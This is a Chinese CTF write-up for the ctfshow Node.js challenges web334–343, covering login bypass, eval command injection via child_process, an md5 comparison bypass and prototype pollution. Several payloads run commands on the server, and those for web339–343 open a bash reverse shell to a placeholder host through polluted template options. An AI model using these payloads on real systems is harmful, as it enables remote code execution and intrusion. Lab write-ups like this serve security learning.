ctfshow node.js专题

news2024/11/14 23:25:27

文章目录

  • web334
  • web335
  • web336
  • web337
  • web338
  • web339
  • web340
  • web341
  • web342、web343

web334

给了附件,然后进入后发现是一个登录框。

image-20221202132608867

在附件中知道了账号密码,但是却无法登录。

先看user从哪里获取:

var user = findUser(req.body.username, req.body.password);

发现用的是findUser方法,找到该方法。

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

会发现,有一个name不能等于CTFSHOW,但最终的username又经过了name.toUpperCase()方法,搜一下该方法。

image-20221202132953042

所以输入一个不是全大写的ctfshow即可。

payload:

username=ctfSHOW&password=123456

web335

这一题源码里有一个/?eval=

明显想让我用eval函数,去学一下js的eval函数用法。

找到了

[child_process.execSync(command, options]) | Node.js API 文档 (nodejs.cn)

利用child_process.execSync()方法配合eval进行命令执行。

payload:

?eval=require(%27child_process%27).execSync(%27cat%20fl00g.txt%27)

web336

和335一样同样是命令执行,尝试几次后发现exec被过滤,去找一下child_process中是否有其它函数可以用。

image-20221202135906925

找到了好几种函数,用spawnSync函数试一下。

直接按照上一题改的话不行

image-20221202140307696

要两部分,分开一下。

payload:

?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).stdout.toString()

然后就可以直接读取flag,大不太明白stdout是啥,上网看一下。

是一个输出流函数,刚学过java输出流,原理应该差不多。

所以理所应当output也可以:

?eval=require("child_process").spawnSync(%27ls%27,[%27./%27]).output.toString()

然后看了其他师傅的解题思路。

学到了一个小知识点。

image-20221202145744613

知道路径后便可以利用readFileSync函数来读取文件

payload:

?eval=require(%27fs%27).readFileSync(%27/app/routes/index.js%27,%20{encoding:%27utf8%27,%20flag:%27r%27})

还有师傅想到可以用拼接来绕过过滤:

?eval=require(%27child_process%27)[%27exe%27%2B%27cSync%27](%27cat%20fl001g.txt%27).toString()

web337

题目给了源码,源码看起来和简单:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

一个简单的md5绕过,本来以为和php的md5一样,直接给开头都是0e的两个长度相同的字符串就行,试了之后发现行不通。

var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

let a='0e1'
let c='0e2'
let b = a+"flag{666}"
console.log(md5(a))
console.log(md5(c))
if(md5(a)===md5(c)){
    console.log("success")
}

可见js的md5加密后并不会将0e开头的字符当成0,尝试了可以利用对象的形式绕过:

var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

let a={
    1:'2'
}
let c={
    1:'2'
}
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(b)
console.log(c)
console.log(md5(b))
console.log(md5(d))

本地成功后但在网页上一直没成功。

数组绕过:

?a[]=1&b[]=1

去看一下原理。

var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

let a=[1]
let c=1
let b = a+"flag{666}"
let d = c+"flag{666}"
console.log(a)
console.log(c)
console.log(b)
console.log(d)
console.log(md5(b))
console.log(md5(d))
if(a!==c){
    console.log("success1")
}
if(md5(b)===md5(d)){
    console.log("success2")
}

payload:

?a[]=a&b=a

这样也行,js拼接特点。

web338

给了源码,直接到路由routes,看重点:

image-20221202201628852

secert.ctfshow==='36dboy'

secetr是一个对象,想要修改secert属性,因为secetr无法控制,想到了原型链污染。

简单写个demo:

let user = {a: 1}
let secert = {}
user.__proto__.ctfshow = 2
console.log(user.ctfshow)
console.log(secert.ctfshow)

运行后会发现,我修改了user.__proto__中ctfshow这个属性的值,然而secret中ctfshow属性的值,严格来说应该是secret.proto.ctfshow的值,思路有了,修改object中ctfshow的值,因为node.js的特点,secert.ctfshow的值也会被修改。

题目页面是一个登陆页面,刚好也是一个json解析。

payload:

{"__proto__":{"ctfshow":"36dboy"}}

image-20221202203026513

web339

和上一题很相似,但条件变了。

image-20221202205009865

让secert.ctfshow等于flag才打印出来flag,我们目的是得到flag,果断放弃这个点。

多了一个api接口:

image-20221202205644650

query中的Function内容可以用原型链污染来控制(模板渲染)。

因为是function,可以用global.process.mainModule.constructor._load来加载child_process(require会报错),然后利用exec来反弹shell。

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

web340

和上一题一样,不过

  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
user.__proto__并不是Object.prototype,user.__proto.__proto__才是

套两层即可。

查看环境变量时就会发现

image-20221202213039631

query已经被修改。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxxx 0>&1\"')"}}}

web341

和上边差不多,不过这次污染的是outputFunctionName这条链。

image-20221202224918229

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}

web342、web343

网上的链子:

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxx/xxxx 0>&1\"')"}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/56310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虹科案例 | 订单自动分拣效率居然这么高?

Background 背景 过去,一家自动仓储和检索系统(AS/RS)梭子解决方案的制造商依靠车轮编码器来指示梭子沿轨道的位置。虽然这种解决方案已经使用了多年,也将继续使用,但它可能容易出现定位错误,这通常是由车…

[附源码]Python计算机毕业设计SSM考勤管理系统(程序+LW)

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Kotlin高仿微信-第35篇-支付-二维码收款(二维码)

Kotlin高仿微信-项目实践58篇详细讲解了各个功能点,包括:注册、登录、主页、单聊(文本、表情、语音、图片、小视频、视频通话、语音通话、红包、转账)、群聊、个人信息、朋友圈、支付服务、扫一扫、搜索好友、添加好友、开通VIP等众多功能。 Kotlin高仿…

【python可视化】python编码规范、标准库与扩展库对象的导入与使用

🙋‍ 哈喽大家好,本次是python数据分析、挖掘与可视化专栏第一期 ⭐本期内容:python编码规范、标准库与扩展库对象的导入与使用 🏆系列专栏:Python数据分析、挖掘与可视化 👍欢迎大佬指正,一起学…

嵌入式分享合集115

一、数字万用表电压、电流、电阻、电容、频率、电池、二极管等测量方法 数字万用表可用来测量直流和交流电压、直流和交流电流、电阻、电容、频率、电池、二极管等等。整机电路设计以大规模集成电路双积分A/D转换器为核心,并配以全过程过载保护电路,使之…

动态改变列数做分页

【问题】 My question is: How can I prepare template which will receive various number of columns in such way, that if they won’t fit to page, next columns would be printed on a second page. For example If I have 10 columns, but only 6 fit to the page 1,…

[附源码]计算机毕业设计springboot万佳商城管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

33K Star?这才是程序员需要的神器。。。

程序员宝藏库:https://gitee.com/sharetech_lee/CS-Books-Store 你想要的,这里都有! 作为程序员用的比较多的工具是什么? 我觉得搜索引擎绝对能名列前茅。 在开发过程中,总会遇到这样或者那样的问题超出我们自身的知…

【愚公系列】华为云系列之ModelArts+AppCube带你识别101种西式美食【我的低代码AI体验】

文章目录前言1.ModelArts是什么2.AppCube是什么一、华为云系列之ModelArtsAppCube带你识别101种西式美食1. AI Gallery 订阅模型及部署2. 获取访问秘钥3. 使用示例安装包创建 AppCube 应用4. 创建 ModelArts 连接器前言 1.ModelArts是什么 ModelArts是面向AI开发者的一站式开…

[附源码]Python计算机毕业设计SSM考勤系统设计(程序+LW)

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Java项目:ssm教材征订与发放管理系统

作者主页:源码空间站2022 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 项目介绍 教材征订与发放管理系统。本系统共分三种角色,分别为管理员、老师、班长;现在分别来介绍各个角色的功能: …

java计算机毕业设计ssm魔术教学网站k304y(附源码、数据库)

java计算机毕业设计ssm魔术教学网站k304y(附源码、数据库) 项目运行 环境配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。…

Springboot旅游网站管理系统毕业设计、Springboot旅游线路和景点网站设计与实现 毕设作品参考

功能清单 【后台功能】 系统设置:设置关于我们、联系我们、加入我们、法律声明 广告管理:设置小程序首页轮播图广告和链接 留言列表:所有用户留言信息列表,支持删除 会员列表:查看所有注册会员信息,支持删…

QT登录界面设计及跳转主界面

文章目录QT登录界面设计及跳转主界面界面样式创建流程界面设计所需控件界面外观设计添加底色设置密码输入框以密文显示:程序设计取消按钮登录按钮注:QT登录界面设计及跳转主界面 界面样式 先贴图 创建流程 首先创建界面: 选择无按钮界面…

[附源码]计算机毕业设计springboot校园便携系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

【第 8 章 MySQL InnoDB ClusterSet 】

【第 8 章 MySQL InnoDB ClusterSet 】 文章目录【第 8 章 MySQL InnoDB ClusterSet 】本章内容本章简介本章内容 8.1 InnoDB ClusterSet 要求 8.2 InnoDB ClusterSet 限制 8.3 User Accounts for InnoDB ClusterSet 8.4 Deploying InnoDB ClusterSet 8.5 Integrating MySQL R…

VS系列多通道无线采发仪

VS101/104/208/416/432 是以振弦、温度传感信号为主的多通道无线采发仪,并可扩展其它模拟(电流、 电压、电阻)信号和数字信号(RS485、RS232)传感器通道,内置电池,可外接太阳能电池板。最多可实…

QT学习日记28——QT动态库制作和使用

学习视频链接 课时3 控件介绍,使用和样式修改_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV14t411b7EL/?p3&spm_id_from333.337.top_right_bar_window_history.content.click&vd_source0471cde1c644648fafd07b54e303c905 目录 一、动态库项目 1.1 新建工程…

[附源码]Python计算机毕业设计Django家庭医生签约服务管理系统

项目运行 环境配置: Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术: django python Vue 等等组成,B/S模式 pychram管理等等。 环境需要 1.运行环境:最好是python3.7.7,…

车载测试好就业?车载测试就业薪资和前景怎么样?

什么是车载智能系统测试? 车载测试,又叫车载智能系统测试,是汽车智能化重要的组成部分,由旧有的车载资通讯系统结合联网汽车技术所演进而来,随着软硬件技术的不断进步, 让车载智能系统拥有强大的运算能力及…